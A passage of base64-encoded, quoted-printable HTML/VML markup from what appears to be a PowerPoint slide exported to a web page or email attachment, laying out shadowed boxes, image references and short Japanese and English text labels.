NDZwdDsgUE9TSVRJT046IGFic29sdXRlOyBUT1A6IDIyMnB0OyA9DQpXSURUSDogMTkycHQ7IG1z by13cmFwLXN0eWxlOiBub25lOyB2LXRleHQtYW5jaG9yOiBtaWRkbGUiPTIwDQpjb29yZHNpemUg PTNEICIyMTYwMCwyMTYwMCIgZmlsbGNvbG9yID0zRCAiI2ZmYyIgc3Ryb2tlZCA9M0QgImYiID0N CnN0cm9rZWNvbG9yID0zRD0yMA0KImJsYWNrIFsxXSI+PHY6c2hhZG93IHR5cGUgPTNEICJzaW5n bGUiIGNvbG9yID0zRD0yMA0KImdyYXkgWzJdIj48L3Y6c2hhZG93PjwvdjpyZWN0Pjx2OnJlY3Qg aWQ9M0RfeDAwMDBfczIxMDM9MjANCnN0eWxlPTNEIkhFSUdIVDogMWluOyBMRUZUOiAyNDZwdDsg UE9TSVRJT046IGFic29sdXRlOyBUT1A6IDMxMnB0OyA9DQpXSURUSDogMTkycHQ7IG1zby13cmFw LXN0eWxlOiBub25lOyB2LXRleHQtYW5jaG9yOiBtaWRkbGUiPTIwDQpjb29yZHNpemUgPTNEICIy MTYwMCwyMTYwMCIgZmlsbGNvbG9yID0zRCAiI2ZmYyIgc3Ryb2tlZCA9M0QgImYiID0NCnN0cm9r ZWNvbG9yID0zRD0yMA0KImJsYWNrIFsxXSI+PHY6c2hhZG93IHR5cGUgPTNEICJzaW5nbGUiIGNv bG9yID0zRD0yMA0KImdyYXkgWzJdIj48L3Y6c2hhZG93PjwvdjpyZWN0Pjx2OnJlY3QgaWQ9M0Rf eDAwMDBfczIxMDQ9MjANCnN0eWxlPTNEIkhFSUdIVDogMWluOyBMRUZUOiAzNDhwdDsgUE9TSVRJ T046IGFic29sdXRlOyBUT1A6IDEzOHB0OyA9DQpXSURUSDogMWluOyBtc28td3JhcC1zdHlsZTog bm9uZTsgdi10ZXh0LWFuY2hvcjogbWlkZGxlIj0yMA0KY29vcmRzaXplID0zRCAiMjE2MDAsMjE2 MDAiIGZpbGxlZCA9M0QgImYiIGZpbGxjb2xvciA9M0QgIndoaXRlIFswXSIgPQ0Kc3Ryb2tlZCA9 M0QgImYiPTIwDQpzdHJva2Vjb2xvciA9M0QgImJsYWNrIFsxXSI+PHY6c2hhZG93IHR5cGUgPTNE ICJzaW5nbGUiIGNvbG9yID0zRD0yMA0KImdyYXkgWzJdIj48L3Y6c2hhZG93PjwvdjpyZWN0Pjx2 OnJlY3QgaWQ9M0RfeDAwMDBfczIxMDU9MjANCnN0eWxlPTNEIkhFSUdIVDogMWluOyBMRUZUOiAz NTRwdDsgUE9TSVRJT046IGFic29sdXRlOyBUT1A6IDIyMnB0OyA9DQpXSURUSDogMWluOyBtc28t d3JhcC1zdHlsZTogbm9uZTsgdi10ZXh0LWFuY2hvcjogbWlkZGxlIj0yMA0KY29vcmRzaXplID0z RCAiMjE2MDAsMjE2MDAiIGZpbGxlZCA9M0QgImYiIGZpbGxjb2xvciA9M0QgIndoaXRlIFswXSIg PQ0Kc3Ryb2tlZCA9M0QgImYiPTIwDQpzdHJva2Vjb2xvciA9M0QgImJsYWNrIFsxXSI+PHY6c2hh ZG93IHR5cGUgPTNEICJzaW5nbGUiIGNvbG9yID0zRD0yMA0KImdyYXkgWzJdIj48L3Y6c2hhZG93 PjwvdjpyZWN0Pjx2OnJlY3QgaWQ9M0RfeDAwMDBfczIxMDY9MjANCnN0eWxlPTNEIkhFSUdIVDog MWluOyBMRUZUOiA1aW47IFBPU0lUSU9OOiBhYnNvbHV0ZTsgVE9QOiAzMTJwdDsgV0lEVEg6ID0N CjFpbjsgbXNvLXdyYXAtc3R5bGU6IG5vbmU7IHYtdGV4dC1hbmNob3I6IG1pZGRsZSI9MjANCmNv b3Jkc2l6ZSA9M0QgIjIxNjAwLDIxNjAwIiBmaWxsZWQgPTNEICJmIiBmaWxsY29sb3IgPTNEICJ3 aGl0ZSBbMF0iID0NCnN0cm9rZWQgPTNEICJmIj0yMA0Kc3Ryb2tlY29sb3IgPTNEICJibGFjayBb MV0iPjx2OnNoYWRvdyB0eXBlID0zRCAic2luZ2xlIiBjb2xvciA9M0Q9MjANCiJncmF5IFsyXSI+ PC92OnNoYWRvdz48L3Y6cmVjdD48djpyZWN0IGlkPTNEX3gwMDAwX3MyMTA3PTIwDQpzdHlsZT0z RCJIRUlHSFQ6IDFpbjsgTEVGVDogNDgwcHQ7IFBPU0lUSU9OOiBhYnNvbHV0ZTsgVE9QOiAxMzhw dDsgPQ0KV0lEVEg6IDE5MnB0OyBtc28td3JhcC1zdHlsZTogbm9uZTsgdi10ZXh0LWFuY2hvcjog bWlkZGxlIj0yMA0KY29vcmRzaXplID0zRCAiMjE2MDAsMjE2MDAiIGZpbGxjb2xvciA9M0QgIiNm ZmMiIHN0cm9rZWQgPTNEICJmIiA9DQpzdHJva2Vjb2xvciA9M0Q9MjANCiJibGFjayBbMV0iPjx2 OnNoYWRvdyB0eXBlID0zRCAic2luZ2xlIiBjb2xvciA9M0Q9MjANCiJncmF5IFsyXSI+PC92OnNo YWRvdz48L3Y6cmVjdD48djpyZWN0IGlkPTNEX3gwMDAwX3MyMTA4PTIwDQpzdHlsZT0zRCJIRUlH SFQ6IDFpbjsgTEVGVDogNDgwcHQ7IFBPU0lUSU9OOiBhYnNvbHV0ZTsgVE9QOiAyMjJwdDsgPQ0K V0lEVEg6IDE5MnB0OyBtc28td3JhcC1zdHlsZTogbm9uZTsgdi10ZXh0LWFuY2hvcjogbWlkZGxl Ij0yMA0KY29vcmRzaXplID0zRCAiMjE2MDAsMjE2MDAiIGZpbGxjb2xvciA9M0QgIiNmZmMiIHN0 cm9rZWQgPTNEICJmIiA9DQpzdHJva2Vjb2xvciA9M0Q9MjANCiJibGFjayBbMV0iPjx2OnNoYWRv dyB0eXBlID0zRCAic2luZ2xlIiBjb2xvciA9M0Q9MjANCiJncmF5IFsyXSI+PC92OnNoYWRvdz48 L3Y6cmVjdD48djpyZWN0IGlkPTNEX3gwMDAwX3MyMTA5PTIwDQpzdHlsZT0zRCJIRUlHSFQ6IDFp bjsgTEVGVDogNDgwcHQ7IFBPU0lUSU9OOiBhYnNvbHV0ZTsgVE9QOiAzMTJwdDsgPQ0KV0lEVEg6 IDE5MnB0OyBtc28td3JhcC1zdHlsZTogbm9uZTsgdi10ZXh0LWFuY2hvcjogbWlkZGxlIj0yMA0K Y29vcmRzaXplID0zRCAiMjE2MDAsMjE2MDAiIGZpbGxjb2xvciA9M0QgIiNmZmMiIHN0cm9rZWQg PTNEICJmIiA9DQpzdHJva2Vjb2xvciA9M0Q9MjANCiJibGFjayBbMV0iPjx2OnNoYWRvdyB0eXBl ID0zRCAic2luZ2xlIiBjb2xvciA9M0Q9MjANCiJncmF5IFsyXSI+PC92OnNoYWRvdz48L3Y6cmVj dD48djpyZWN0IGlkPTNEX3gwMDAwX3MyMTEwPTIwDQpzdHlsZT0zRCJIRUlHSFQ6IDFpbjsgTEVG VDogOGluOyBQT1NJVElPTjogYWJzb2x1dGU7IFRPUDogMTM4cHQ7IFdJRFRIOiA9DQoxaW47IG1z by13cmFwLXN0eWxlOiBub25lOyB2LXRleHQtYW5jaG9yOiBtaWRkbGUiPTIwDQpjb29yZHNpemUg PTNEICIyMTYwMCwyMTYwMCIgZmlsbGVkID0zRCAiZiIgZmlsbGNvbG9yID0zRCAid2hpdGUgWzBd IiA9DQpzdHJva2VkID0zRCAiZiI9MjANCnN0cm9rZWNvbG9yID0zRCAiYmxhY2sgWzFdIj48djpz aGFkb3cgdHlwZSA9M0QgInNpbmdsZSIgY29sb3IgPTNEPTIwDQoiZ3JheSBbMl0iPjwvdjpzaGFk b3c+PC92OnJlY3Q+PHY6cmVjdCBpZD0zRF94MDAwMF9zMjExMT0yMA0Kc3R5bGU9M0QiSEVJR0hU OiAxaW47IExFRlQ6IDU4MnB0OyBQT1NJVElPTjogYWJzb2x1dGU7IFRPUDogMzEycHQ7ID0NCldJ RFRIOiAxaW47IG1zby13cmFwLXN0eWxlOiBub25lOyB2LXRleHQtYW5jaG9yOiBtaWRkbGUiPTIw DQpjb29yZHNpemUgPTNEICIyMTYwMCwyMTYwMCIgZmlsbGVkID0zRCAiZiIgZmlsbGNvbG9yID0z RCAid2hpdGUgWzBdIiA9DQpzdHJva2VkID0zRCAiZiI9MjANCnN0cm9rZWNvbG9yID0zRCAiYmxh Y2sgWzFdIj48djpzaGFkb3cgdHlwZSA9M0QgInNpbmdsZSIgY29sb3IgPTNEPTIwDQoiZ3JheSBb Ml0iPjwvdjpzaGFkb3c+PC92OnJlY3Q+PHY6cmVjdCBpZD0zRF94MDAwMF9zMjExMj0yMA0Kc3R5 bGU9M0QiSEVJR0hUOiAxaW47IExFRlQ6IDU4OHB0OyBQT1NJVElPTjogYWJzb2x1dGU7IFRPUDog MjIycHQ7ID0NCldJRFRIOiAxaW47IG1zby13cmFwLXN0eWxlOiBub25lOyB2LXRleHQtYW5jaG9y OiBtaWRkbGUiPTIwDQpjb29yZHNpemUgPTNEICIyMTYwMCwyMTYwMCIgZmlsbGVkID0zRCAiZiIg ZmlsbGNvbG9yID0zRCAid2hpdGUgWzBdIiA9DQpzdHJva2VkID0zRCAiZiI9MjANCnN0cm9rZWNv bG9yID0zRCAiYmxhY2sgWzFdIj48djpzaGFkb3cgdHlwZSA9M0QgInNpbmdsZSIgY29sb3IgPTNE PTIwDQoiZ3JheSBbMl0iPjwvdjpzaGFkb3c+PC92OnJlY3Q+PCFbaWYgIXZtbF0+PGltZyBib3Jk ZXI9M0QwDQogPQ0KdjpzaGFwZXM9M0QiX3gwMDAwX3MyMTAxLF94MDAwMF9zMjEwMixfeDAwMDBf czIxMDMsX3gwMDAwX3MyMTA3LF94MDAwMF9zMj0NCjEwOCxfeDAwMDBfczIxMDkiDQogc3JjPTNE InNsaWRlMDAwMV9pbWFnZTAxMS5naWYiID0NCnN0eWxlPTNEJ3Bvc2l0aW9uOmFic29sdXRlO3Rv cDoyNS41NCU7bGVmdDozNC4xMSU7DQogd2lkdGg6NTkuMzglO2hlaWdodDo0Ni4wMiUnPjwhW2Vu ZGlmXT4NCjxESVYgY2xhc3M9M0RPIHY6c2hhcGU9M0QiX3gwMDAwX3MyMTA0Ij4NCjxESVY9MjAN CnN0eWxlPTNEIkhFSUdIVDogMy42MSU7IExFRlQ6IDQ1Ljg0JTsgUE9TSVRJT046IGFic29sdXRl OyBURVhULUFMSUdOOiA9DQpjZW50ZXI7IFRPUDogMjguMTklOyBXSURUSDogMTUuMTYlIj48U1BB Tj0yMA0Kc3R5bGU9M0QiRk9OVC1TSVpFOiA3NSUiPjxVPj04Qkw9OTRPPTkzPUZBPTkxPTk3PTkw TSA8L1U+PC9TUEFOPjwvRElWPg0KPERJVj0yMA0Kc3R5bGU9M0QiSEVJR0hUOiA1LjA2JTsgTEVG VDogNDQuNCU7IFBPU0lUSU9OOiBhYnNvbHV0ZTsgVEVYVC1BTElHTjogPQ0KY2VudGVyOyBUT1A6 IDMxLjglOyBXSURUSDogMTguMDUlIj48U1BBTj0yMA0Kc3R5bGU9M0QiRk9OVC1GQU1JTFk6ICdU aW1lcyBOZXcgUm9tYW4nOyBtc28tYXNjaWktZm9udC1mYW1pbHk6ICdUaW1lcyA9DQpOZXcgUm9t YW4nIj48VT48U1BBTj0yMA0Kc3R5bGU9M0QibXNvLXNwYWNlcnVuOiB5ZXMiPiZuYnNwOzwvU1BB Tj48L1U+PC9TUEFOPjxTUEFOIGxhbmc9M0RFTi1VUz0yMA0Kc3R5bGU9M0QiRk9OVC1GQU1JTFk6 ICdUaW1lcyBOZXcgUm9tYW4nOyBGT05ULVNJWkU6IDc1JTsgPQ0KbXNvLWFzY2lpLWZvbnQtZmFt aWx5OiAnVGltZXMgTmV3IFJvbWFuJzsgbXNvLWZhcmVhc3QtbGFuZ3VhZ2U6ID0NCkpBIj48VT5N YWlsPC9VPjwvU1BBTj48U1BBTj0yMA0Kc3R5bGU9M0QiRk9OVC1TSVpFOiA3NSUiPjxVPj04M1Q9 ODFbPTgzcj04M1g8L1U+PC9TUEFOPjwvRElWPjwvRElWPg0KPERJViBjbGFzcz0zRE8gdjpzaGFw ZT0zRCJfeDAwMDBfczIxMDUiPg0KPERJVj0yMA0Kc3R5bGU9M0QiSEVJR0hUOiAyLjg5JTsgTEVG VDogNDcuODMlOyBQT1NJVElPTjogYWJzb2x1dGU7IFRFWFQtQUxJR046ID0NCmNlbnRlcjsgVE9Q OiA0My42MSU7IFdJRFRIOiAxMi44MSUiPjxTUEFOPTIwDQpzdHlsZT0zRCJGT05ULVNJWkU6IDU4 JSI+PFU+PTkxPTk3PTgyPUMxPTgyPUM0PTgyPUQ5PTgyPUI1PTgyPUEyID0NCjwvVT48L1NQQU4+ PC9ESVY+DQo8RElWPTIwDQpzdHlsZT0zRCJIRUlHSFQ6IDIuODklOyBMRUZUOiA0OC43MyU7IFBP U0lUSU9OOiBhYnNvbHV0ZTsgVEVYVC1BTElHTjogPQ0KY2VudGVyOyBUT1A6IDQ2Ljc0JTsgV0lE VEg6IDExLjE5JSI+PFNQQU49MjANCnN0eWxlPTNEIkZPTlQtU0laRTogNTglIj48VT49OEY9RUU9 OTU9RjE9ODI9QkU9ODI9QUY9ODI9RjAgPQ0KPC9VPjwvU1BBTj48L0RJVj4NCjxESVY9MjANCnN0 eWxlPTNEIkhFSUdIVDogMi44OSU7IExFRlQ6IDQ3LjQ3JTsgUE9TSVRJT046IGFic29sdXRlOyBU RVhULUFMSUdOOiA9DQpjZW50ZXI7IFRPUDogNDkuODclOyBXSURUSDogMTMuMzUlIj48U1BBTj0y MA0Kc3R5bGU9M0QiRk9OVC1TSVpFOiA9DQo1OCUiPjxVPj04Mz04MT04MVs9ODM9OEI9OTE9OTc9 OTBNPTgxSTwvVT48L1NQQU4+PC9ESVY+PC9ESVY+DQo8RElWIGNsYXNzPTNETyB2OnNoYXBlPTNE Il94MDAwMF9zMjEwNiI+DQo8RElWPTIwDQpzdHlsZT0zRCJIRUlHSFQ6IDMuMTMlOyBMRUZUOiA0 OS40NSU7IFBPU0lUSU9OOiBhYnNvbHV0ZTsgVEVYVC1BTElHTjogPQ0KY2VudGVyOyBUT1A6IDYx LjQ0JTsgV0lEVEg6IDExLjE5JSI+PFNQQU49MjANCnN0eWxlPTNEIkZPTlQtRkFNSUxZOiBIRz04 QT1EQj1CQT1ERT1CQz1BRj1COE0tUFJPOyBGT05ULVNJWkU6IDY3JTsgPQ0KbXNvLWZhcmVhc3Qt Zm9udC1mYW1pbHk6IEhHPThBPURCPUJBPURFPUJDPUFGPUI4TS1QUk87ID0NCm1zby1hc2NpaS1m b250LWZhbWlseTogSEc9OEE9REI9QkE9REU9QkM9QUY9QjhNLVBSTyI+PFU+PThDZj04RT1BNj05 ND1DMiA9DQoNCiZhbXA7IDwvVT48L1NQQU4+PC9ESVY+DQo8RElWPTIwDQpzdHlsZT0zRCJIRUlH SFQ6IDMuMTMlOyBMRUZUOiA0OS42MyU7IFBPU0lUSU9OOiBhYnNvbHV0ZTsgVEVYVC1BTElHTjog PQ0KY2VudGVyOyBUT1A6IDY1LjA2JTsgV0lEVEg6IDEwLjgzJSI+PFNQQU49MjANCnN0eWxlPTNE IkZPTlQtRkFNSUxZOiBIRz04QT1EQj1CQT1ERT1CQz1BRj1COE0tUFJPOyBGT05ULVNJWkU6IDY3 JTsgPQ0KbXNvLWZhcmVhc3QtZm9udC1mYW1pbHk6IEhHPThBPURCPUJBPURFPUJDPUFGPUI4TS1Q Uk87ID0NCm1zby1hc2NpaS1mb250LWZhbWlseTogPQ0KSEc9OEE9REI9QkE9REU9QkM9QUY9QjhN LVBSTyI+PFU+PTgzYD04Mz04Mz04M2I9ODNnPC9VPjwvU1BBTj48L0RJVj48L0RJVj0NCj4NCjxE SVYgY2xhc3M9M0RPIHY6c2hhcGU9M0QiX3gwMDAwX3MyMTEwIj4NCjxESVY9MjANCnN0eWxlPTNE IkhFSUdIVDogMi44OSU7IExFRlQ6IDc2Ljg5JTsgUE9TSVRJT046IGFic29sdXRlOyBURVhULUFM SUdOOiA9DQpjZW50ZXI7IFRPUDogMjYuNSU7IFdJRFRIOiAxNi40MiUiPjxTUEFOPTIwDQpzdHls ZT0zRCJGT05ULUZBTUlMWTogSEc9OEE9REI9QkE9REU9QkM9QUY9QjhNLVBSTzsgRk9OVC1TSVpF OiA1OCU7ID0NCm1zby1mYXJlYXN0LWZvbnQtZmFtaWx5OiBIRz04QT1EQj1CQT1ERT1CQz1BRj1C OE0tUFJPOyA9DQptc28tYXNjaWktZm9udC1mYW1pbHk6ID0NCkhHPThBPURCPUJBPURFPUJDPUFG PUI4TS1QUk8iPjxVPj04MlA9OTROPThDPUUzPTgyPUNDPThFPUE5PTk1PUFBPTgyPUM5PTIwDQo8 L1U+PC9TUEFOPjwvRElWPg0KPERJVj0yMA0Kc3R5bGU9M0QiSEVJR0hUOiAyLjg5JTsgTEVGVDog NzYuODklOyBQT1NJVElPTjogYWJzb2x1dGU7IFRFWFQtQUxJR046ID0NCmNlbnRlcjsgVE9QOiAy OS42MyU7IFdJRFRIOiAxNi40MiUiPjxTUEFOPTIwDQpzdHlsZT0zRCJGT05ULUZBTUlMWTogSEc9 OEE9REI9QkE9REU9QkM9QUY9QjhNLVBSTzsgRk9OVC1TSVpFOiA1OCU7ID0NCm1zby1mYXJlYXN0 LWZvbnQtZmFtaWx5OiBIRz04QT1EQj1CQT1ERT1CQz1BRj1COE0tUFJPOyA9DQptc28tYXNjaWkt Zm9udC1mYW1pbHk6ID0NCkhHPThBPURCPUJBPURFPUJDPUFGPUI4TS1QUk8iPjxVPj04MlE9OTRO PThDPUUzPTgyPUNDPThFcT04Qj05Rj04Mj1DOT0yMA0KPC9VPjwvU1BBTj48L0RJVj4NCjxESVY9 MjANCnN0eWxlPTNEIkhFSUdIVDogMi44OSU7IExFRlQ6IDgxLjA0JTsgUE9TSVRJT046IGFic29s dXRlOyBURVhULUFMSUdOOiA9DQpjZW50ZXI7IFRPUDogMzIuNzclOyBXSURUSDogOC4xMiUiPjxT UEFOPTIwDQpzdHlsZT0zRCJESVNQTEFZOiBub25lOyBGT05ULUZBTUlMWTogSEc9OEE9REI9QkE9 REU9QkM9QUY9QjhNLVBSTzsgPQ0KRk9OVC1TSVpFOiA1OCU7IG1zby1mYXJlYXN0LWZvbnQtZmFt aWx5OiBIRz04QT1EQj1CQT1ERT1CQz1BRj1COE0tUFJPOyA9DQptc28tYXNjaWktZm9udC1mYW1p bHk6ID0NCkhHPThBPURCPUJBPURFPUJDPUFGPUI4TS1QUk8iPjxVPjwvVT48L1NQQU4+PC9ESVY+ DQo8RElWPTIwDQpzdHlsZT0zRCJIRUlHSFQ6IDIuODklOyBMRUZUOiA3NC41NCU7IFBPU0lUSU9O OiBhYnNvbHV0ZTsgVEVYVC1BTElHTjogPQ0KY2VudGVyOyBUT1A6IDM1LjY2JTsgV0lEVEg6IDIx LjExJSI+PFNQQU49MjANCnN0eWxlPTNEIkZPTlQtRkFNSUxZOiBIRz04QT1EQj1CQT1ERT1CQz1B Rj1COE0tUFJPOyBGT05ULVNJWkU6IDU4JTsgPQ0KbXNvLWZhcmVhc3QtZm9udC1mYW1pbHk6IEhH PThBPURCPUJBPURFPUJDPUFGPUI4TS1QUk87ID0NCm1zby1hc2NpaS1mb250LWZhbWlseTogPQ0K SEc9OEE9REI9QkE9REU9QkM9QUY9QjhNLVBSTyI+PFU+PTgzPTgxPTgxWz04Mz04Qj05MT05Nz05 ME09ODNUPTgxWz04M3I9ODM9DQpYPC9VPjwvU1BBTj48L0RJVj48L0RJVj4NCjxESVYgY2xhc3M9 M0RPIHY6c2hhcGU9M0QiX3gwMDAwX3MyMTExIj4NCjxESVY9MjANCnN0eWxlPTNEIkhFSUdIVDog My4xMyU7IExFRlQ6IDc4Ljg4JTsgUE9TSVRJT046IGFic29sdXRlOyBURVhULUFMSUdOOiA9DQpj ZW50ZXI7IFRPUDogNTkuNTElOyBXSURUSDogMTQuMjUlIj48U1BBTj0yMA0Kc3R5bGU9M0QiRk9O VC1TSVpFOiA2NyUiPjxVPj04Mj1CMT04Mj1DQz04M1Q9ODNDPTgzZz04Mj1DQyA9DQo8L1U+PC9T UEFOPjwvRElWPg0KPERJVj0yMA0Kc3R5bGU9M0QiSEVJR0hUOiAzLjYxJTsgTEVGVDogNzkuNiU7 IFBPU0lUSU9OOiBhYnNvbHV0ZTsgVEVYVC1BTElHTjogPQ0KY2VudGVyOyBUT1A6IDYyLjg5JTsg V0lEVEg6IDEyLjYzJSI+PFNQQU49MjANCmxhbmc9M0RFTi1VUz0yMA0Kc3R5bGU9M0QiRk9OVC1G QU1JTFk6ICdUaW1lcyBOZXcgUm9tYW4nOyBGT05ULVNJWkU6IDY3JTsgPQ0KbXNvLWFzY2lpLWZv bnQtZmFtaWx5OiAnVGltZXMgTmV3IFJvbWFuJzsgbXNvLWZhcmVhc3QtbGFuZ3VhZ2U6ID0NCkpB Ij48VT5NeT0yMA0KRnJpZW5kcyA8L1U+PC9TUEFOPjwvRElWPg0KPERJVj0yMA0Kc3R5bGU9M0Qi SEVJR0hUOiAzLjEzJTsgTEVGVDogNzguMzMlOyBQT1NJVElPTjogYWJzb2x1dGU7IFRFWFQtQUxJ R046ID0NCmNlbnRlcjsgVE9QOiA2Ni43NCU7IFdJRFRIOiAxNS4zNCUiPjxTUEFOPTIwDQpzdHls ZT0zRCJGT05ULVNJWkU6ID0NCjY3JSI+PFU+PTgzej04MVs9ODM9ODA9ODN5PTgxWz04M1c8L1U+ PC9TUEFOPjwvRElWPjwvRElWPg0KPERJViBjbGFzcz0zRE8gdjpzaGFwZT0zRCJfeDAwMDBfczIx MTIiPg0KPERJVj0yMA0Kc3R5bGU9M0QiSEVJR0hUOiAzLjYxJTsgTEVGVDogODAuNjglOyBQT1NJ VElPTjogYWJzb2x1dGU7IFRFWFQtQUxJR046ID0NCmNlbnRlcjsgVE9QOiA0NC4zMyU7IFdJRFRI OiAxMi4wOSUiPjxTUEFOPTIwDQpzdHlsZT0zRCJGT05ULUZBTUlMWTogSEc9OEE9REI9QkE9REU9 QkM9QUY9QjhNLVBSTzsgRk9OVC1TSVpFOiA2NyU7ID0NCm1zby1mYXJlYXN0LWZvbnQtZmFtaWx5 OiA9DQpIRz04QT1EQj1CQT1ERT1CQz1BRj1COE0tUFJPIj48VT49OEZhPC9VPjwvU1BBTj48U1BB Tj0yMA0Kc3R5bGU9M0QiRk9OVC1GQU1JTFk6ICdUaW1lcyBOZXcgUm9tYW4nOyBGT05ULVNJWkU6 IDY3JTsgPQ0KbXNvLWZhcmVhc3QtZm9udC1mYW1pbHk6IEhHPThBPURCPUJBPURFPUJDPUFGPUI4 TS1QUk87ID0NCm1zby1hc2NpaS1mb250LWZhbWlseTogJ1RpbWVzIE5ldyBSb21hbiciPjxVPj0y MA0KPC9VPjwvU1BBTj48U1BBTj0yMA0Kc3R5bGU9M0QiRk9OVC1GQU1JTFk6IEhHPThBPURCPUJB PURFPUJDPUFGPUI4TS1QUk87IEZPTlQtU0laRTogNjclOyA9DQptc28tZmFyZWFzdC1mb250LWZh bWlseTogPQ0KSEc9OEE9REI9QkE9REU9QkM9QUY9QjhNLVBSTyI+PFU+PTkySjwvVT48L1NQQU4+ PFNQQU49MjANCnN0eWxlPTNEIkZPTlQtRkFNSUxZOiAnVGltZXMgTmV3IFJvbWFuJzsgRk9OVC1T SVpFOiA2NyU7ID0NCm1zby1mYXJlYXN0LWZvbnQtZmFtaWx5OiBIRz04QT1EQj1CQT1ERT1CQz1B Rj1COE0tUFJPOyA9DQptc28tYXNjaWktZm9udC1mYW1pbHk6ICdUaW1lcyBOZXcgUm9tYW4nIj48 VT49MjANCjEgMCA5IDwvVT48L1NQQU4+PC9ESVY+DQo8RElWPTIwDQpzdHlsZT0zRCJIRUlHSFQ6 IDMuNjElOyBMRUZUOiA4Mi42NyU7IFBPU0lUSU9OOiBhYnNvbHV0ZTsgVEVYVC1BTElHTjogPQ0K Y2VudGVyOyBUT1A6IDQ3Ljk1JTsgV0lEVEg6IDguMTIlIj48U1BBTj0yMA0Kc3R5bGU9M0QiRk9O VC1GQU1JTFk6IEhHPThBPURCPUJBPURFPUJDPUFGPUI4TS1QUk87IEZPTlQtU0laRTogNjclOyA9 DQptc28tZmFyZWFzdC1mb250LWZhbWlseTogPQ0KSEc9OEE9REI9QkE9REU9QkM9QUY9QjhNLVBS TyI+PFU+PThGPUVFPC9VPjwvU1BBTj48U1BBTj0yMA0Kc3R5bGU9M0QiRk9OVC1GQU1JTFk6ICdU aW1lcyBOZXcgUm9tYW4nOyBGT05ULVNJWkU6IDY3JTsgPQ0KbXNvLWZhcmVhc3QtZm9udC1mYW1p bHk6IEhHPThBPURCPUJBPURFPUJDPUFGPUI4TS1QUk87ID0NCm1zby1hc2NpaS1mb250LWZhbWls eTogJ1RpbWVzIE5ldyBSb21hbiciPjxVPj0yMA0KPC9VPjwvU1BBTj48U1BBTj0yMA0Kc3R5bGU9 M0QiRk9OVC1GQU1JTFk6IEhHPThBPURCPUJBPURFPUJDPUFGPUI4TS1QUk87IEZPTlQtU0laRTog NjclOyA9DQptc28tZmFyZWFzdC1mb250LWZhbWlseTogPQ0KSEc9OEE9REI9QkE9REU9QkM9QUY9 QjhNLVBSTyI+PFU+PTk1PUYxPC9VPjwvU1BBTj48L0RJVj48L0RJVj48djpzaGFwZT0yMA0KaWQ9 M0RfeDAwMDBfczIxMTM9MjANCnN0eWxlPTNEIkhFSUdIVDogNjMuNzVwdDsgTEVGVDogMjM0cHQ7 IFBPU0lUSU9OOiBhYnNvbHV0ZTsgVE9QOiAzMTJwdDsgPQ0KV0lEVEg6IDEyMy4zNzVwdCI9MjAN CnR5cGUgPTNEICIjX3gwMDAwX3Q3NSIgY29vcmRzaXplID0zRCAiMjE2MDAsMjE2MDAiPjx2Omlt YWdlZGF0YSA9DQpvOnRpdGxlPTNEInNvMDMwMDFfIj0yMA0Kc3JjID0zRCAic2xpZGUwMDAxX2lt YWdlMDEyLndteiI+PC92OmltYWdlZGF0YT48L3Y6c2hhcGU+PCFbaWYgPQ0KIXZtbF0+PGltZyBi b3JkZXI9M0QwIHY6c2hhcGVzPTNEIl94MDAwMF9zMjExMyINCiBzcmM9M0Qic2xpZGUwMDAxX2lt YWdlMDEzLmdpZiIgPQ0Kc3R5bGU9M0QncG9zaXRpb246YWJzb2x1dGU7dG9wOjU3LjgzJTtsZWZ0 OjMyLjQ5JTsNCiB3aWR0aDoxNy4xNCU7aGVpZ2h0OjExLjglJz48IVtlbmRpZl0+PHY6c2hhcGUg aWQ9M0RfeDAwMDBfczIxMTQ9MjANCnN0eWxlPTNEIkhFSUdIVDogNjcuODc1cHQ7IExFRlQ6IDI1 OHB0OyBQT1NJVElPTjogYWJzb2x1dGU7IFRPUDogMjI4cHQ7ID0NCldJRFRIOiAxaW4iPTIwDQp0 eXBlID0zRCAiI194MDAwMF90NzUiIGNvb3Jkc2l6ZSA9M0QgIjIxNjAwLDIxNjAwIj48djppbWFn ZWRhdGEgPQ0Kbzp0aXRsZT0zRCJqMDE3MjU2NSI9MjANCnNyYyA9M0QgInNsaWRlMDAwMV9pbWFn ZTAxNC5naWYiPjwvdjppbWFnZWRhdGE+PG86bG9jayB2OmV4dD0zRCJlZGl0IiA9DQpjcm9wcGlu ZyA9M0Q9MjANCiJ0Ij48L286bG9jaz48L3Y6c2hhcGU+PCFbaWYgIXZtbF0+PGltZyBib3JkZXI9 M0QwID0NCnY6c2hhcGVzPTNEIl94MDAwMF9zMjExNCINCiBzcmM9M0Qic2xpZGUwMDAxX2ltYWdl MDE0LmdpZiIgPQ0Kc3R5bGU9M0QncG9zaXRpb246YWJzb2x1dGU7dG9wOjQyLjE2JTtsZWZ0OjM1 LjkyJTsNCiB3aWR0aDo5LjkyJTtoZWlnaHQ6MTIuNTMlJz48IVtlbmRpZl0+PHY6c2hhcGUgaWQ9 M0RfeDAwMDBfczIxMTU9MjANCnN0eWxlPTNEIkhFSUdIVDogNjBwdDsgTEVGVDogMjUycHQ7IFBP U0lUSU9OOiBhYnNvbHV0ZTsgVE9QOiAyaW47IFdJRFRIOiA9DQo3OHB0Ij0yMA0KdHlwZSA9M0Qg IiNfeDAwMDBfdDc1IiBjb29yZHNpemUgPTNEICIyMTYwMCwyMTYwMCI+PHY6aW1hZ2VkYXRhID0N Cm86dGl0bGU9M0QiajAyMTUwMzEiPTIwDQpzcmMgPTNEICJzbGlkZTAwMDFfaW1hZ2UwMTYud216 Ij48L3Y6aW1hZ2VkYXRhPjwvdjpzaGFwZT48IVtpZiA9DQohdm1sXT48aW1nIGJvcmRlcj0zRDAg djpzaGFwZXM9M0QiX3gwMDAwX3MyMTE1Ig0KIHNyYz0zRCJzbGlkZTAwMDFfaW1hZ2UwMTcuZ2lm IiA9DQpzdHlsZT0zRCdwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MjYuNzQlO2xlZnQ6MzUuMDElOw0K IHdpZHRoOjEwLjgzJTtoZWlnaHQ6MTEuMDglJz48IVtlbmRpZl0+PHY6c2hhcGUgaWQ9M0RfeDAw MDBfczIxMTY9MjANCnN0eWxlPTNEIkhFSUdIVDogMWluOyBMRUZUOiA0ODBwdDsgUE9TSVRJT046 IGFic29sdXRlOyBUT1A6IDEzOHB0OyA9DQpXSURUSDogNjcuNzVwdCI9MjANCnR5cGUgPTNEICIj X3gwMDAwX3Q3NSIgY29vcmRzaXplID0zRCAiMjE2MDAsMjE2MDAiPjx2OmltYWdlZGF0YSA9DQpv 